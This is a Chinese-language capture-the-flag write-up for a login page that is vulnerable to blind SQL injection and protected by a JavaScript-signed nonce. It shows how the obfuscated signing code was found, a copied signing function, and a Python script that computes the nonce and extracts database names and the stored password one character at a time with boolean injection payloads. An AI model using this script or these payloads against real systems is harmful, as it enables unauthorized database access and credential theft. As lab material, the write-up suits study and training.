Manager--带js验证码的盲注

测试注入

用户名处存在注入,测试如下(单引号输入被js拦截,复制粘贴即可)

  • 1’ -> User name does not exist.
  • 1’=0# -> Incorrect password!

测试admin用户名,提示密码不正确说明存在admin用户。

诡异的_nonce

用burp拦截请求,修改username注入点的值,重新发送提示为illegal request,把username改回从网页中发出请求时的值,正确相应。发现任意更改username或者password字段都会产生不合法请求的相应。也许是_nonce参数搞鬼,查看login.js:


$(document).keydown(function(e) {
    if (e.keyCode == 222 || e.keyCode == 188 || e.keyCode == 190) {
        alert("Illegal character");
        return false;
    }
});

function getnonce() {
    var text = "";
    var possible = "0123456789abcdef";
    for (var i = 0; i < 40; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
$('#submit').click(function() {
    this._nonce = getnonce();
});

这里的_nonce压根就是随机数,没有任何规律,不应该成为校验参数,而且本身的语法好像也有一些问题this._nonce这么写也并没有被提交啊,只是设置了id为submit的一个成员变量,再看这个名为submit的成员是那个按钮。所以这应该不是我们拦截到请求里生成的_nonce参数的代码,继续寻找。

发现jquery-3.1.1.js和bootstrap.js居然是格式化好的,显然有猫腻。猜测校验码是通过用户名和密码生成的,那么应该就是通过点击button,还是要有代码通过button的id:submit来绑定这个事件,最终在bootstrap.js中搜索submit字符串发现如下代码:


$(document).ready(function() {
    $("#" + "f" + "r" + "m" + "l" + "o" + "g" + "i" + "n").submit(function(e) {
        var z1 = $("#" + "u" + "s" + "e" + "r" + "n" + "a" + "m" + "e").val();
        var z2 = $("#" + "p" + "a" + "s" + "s" + "w" + "o" + "r" + "d").val();
        $('<' + 'i' + 'n' + 'p' + 'u' + 't' + '>').attr({
            type: 'h' + 'i' + 'd' + 'd' + 'e' + 'n',
            name: '_' + 'n' + 'o' + 'n' + 'c' + 'e',
            value: sign(z1 + z2, "YTY" + "0Yj" + "M0Y" + "2Rh" + "ZTZ" + "iMj" + "liZ" + "jFj" + "OTQ" + "xOD" + "==")
        }).appendTo('#' + 'f' + 'r' + 'm' + 'l' + 'o' + 'g' + 'i' + 'n');
    });
});

虽然混淆,大概也看明白了,通过sign函数生成了校验码,第一个参数是输入的用户名和密码拼接而成,第二个参数是固定的。sign函数的实现就在这段代码上部。

PyExecJS

因为要自动化完成校验码的生成,这里采用python的PyExecJS,用python来执行js,脚本如下,参考:python 调用js中的方法

sign.js

function sign (data, key) {
    var privateKey
    var i, j
    var W = new Array(80)
    var A, B, C, D, E
    var H0 = 0x97B5D3F1
    var H1 = 0x1F3D5B79
    var H2 = 0x684A2C0E
    var H3 = 0xE0C2A486
    var H4 = 0x33221100
    var H5 = 0xF0F0F0F0
    var temp
    var _RSA = function (n, s) {
        var t4 = (n << s) | (n >>> (32 - s))
        return t4
    }
    var _Rot = function (val) {
        var str = ''
        var i
        var v
        for (i = 7; i >= 0; i--) {
            v = (val >>> (i * 4)) & 0x0f
            str += v.toString(16)
        }
        return str
    }
    str = unescape(encodeURIComponent(key + data))
    var strLen = str.length
    var wordArray = []
    for (i = 0; i < strLen - 3; i += 4) {
        j = str.charCodeAt(i) << 24 |
            str.charCodeAt(i + 1) << 16 |
            str.charCodeAt(i + 2) << 8 |
            str.charCodeAt(i + 3)
        wordArray.push(j)
    }
    switch (strLen % 4) {
        case 0:
            i = 0x080000000
            break
        case 1:
            i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
            break
        case 2:
            i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
            break
        case 3:
            i = str.charCodeAt(strLen - 3) << 24 |
                str.charCodeAt(strLen - 2) << 16 |
                str.charCodeAt(strLen - 1) <<
            8 | 0x80
            break
    }
    wordArray.push(i)
    while ((wordArray.length % 16) !== 14) {
        wordArray.push(0)
    }
    wordArray.push(strLen >>> 29)
    wordArray.push((strLen << 3) & 0x0ffffffff)
    H0 ^= H5
    H1 ^= H5
    H2 ^= H5
    H3 ^= H5
    H4 ^= H5
    for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
        for (i = 0; i < 16; i++) {
            W[i] = wordArray[privateKey + i]
        }
        for (i = 16; i <= 79; i++) {
            W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
        }
        A = H0
        B = H1
        C = H2
        D = H3
        E = H4
        for (i = 0; i <= 19; i++) {
            temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        for (i = 20; i <= 39; i++) {
            temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        for (i = 40; i <= 59; i++) {
            temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        for (i = 60; i <= 79; i++) {
            temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
            E = D
            D = C
            C = _RSA(B, 30)
            B = A
            A = temp
        }
        H0 = (H0 + A) & 0x0ffffffff
        H1 = (H1 + B) & 0x0ffffffff
        H2 = (H2 + C) & 0x0ffffffff
        H3 = (H3 + D) & 0x0ffffffff
        H4 = (H4 + E) & 0x0ffffffff
    }
    temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
    return temp.toLowerCase()
    
}

flag.py


# -*-coding:utf-8-*- 

import requests
import execjs 


flag = ""

url = "http://8102593d8e3c4530a12de86e8814111e161d3693bf704765.game.ichunqiu.com/login.php" 
  
def get_js():  
     
    f = open("sign.js",'r')  
    line = f.readline()  
    htmlstr = ''  
    while line:  
        htmlstr = htmlstr + line  
        line = f.readline()  
    return htmlstr  


def get_nonce(a):
    jsstr = get_js()  
    ctx = execjs.compile(jsstr)  
    return (ctx.call("sign",a,"YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==")) 


for i in range(1,50):
    for j in range(33,127):
        
        #user = "1'or ord(mid((select user()),%s,1))=%s #" % (i, j)
        #user = "1'or ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%s #" % (i, j)
        #user = "1'or ord(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s #" % (i, j)
        #user = "1'or ord(mid((select `name` from users limit 0,1),%s,1))=%s #" % (i, j)
        user = "1'or ord(mid((select `p@ssw0rd` from users limit 0,1),%s,1))=%s #" % (i, j)

        passwd="x"
        
        nonce = get_nonce(user+passwd)

        data ={
            "username": user,
            "password": passwd,
            "_nonce": nonce
        }

        r = requests.post(url=url,data=data)

        if "Incorrect" in r.content:
            flag += chr(j)
            print flag
            break

盲注payload

  • 这里发现了过滤的大于小于号,于是直接采用了等号绕过
  • 字段p@ssw0rd两侧需要加反引号才能成功爆出密码
  • 登录即可看到flag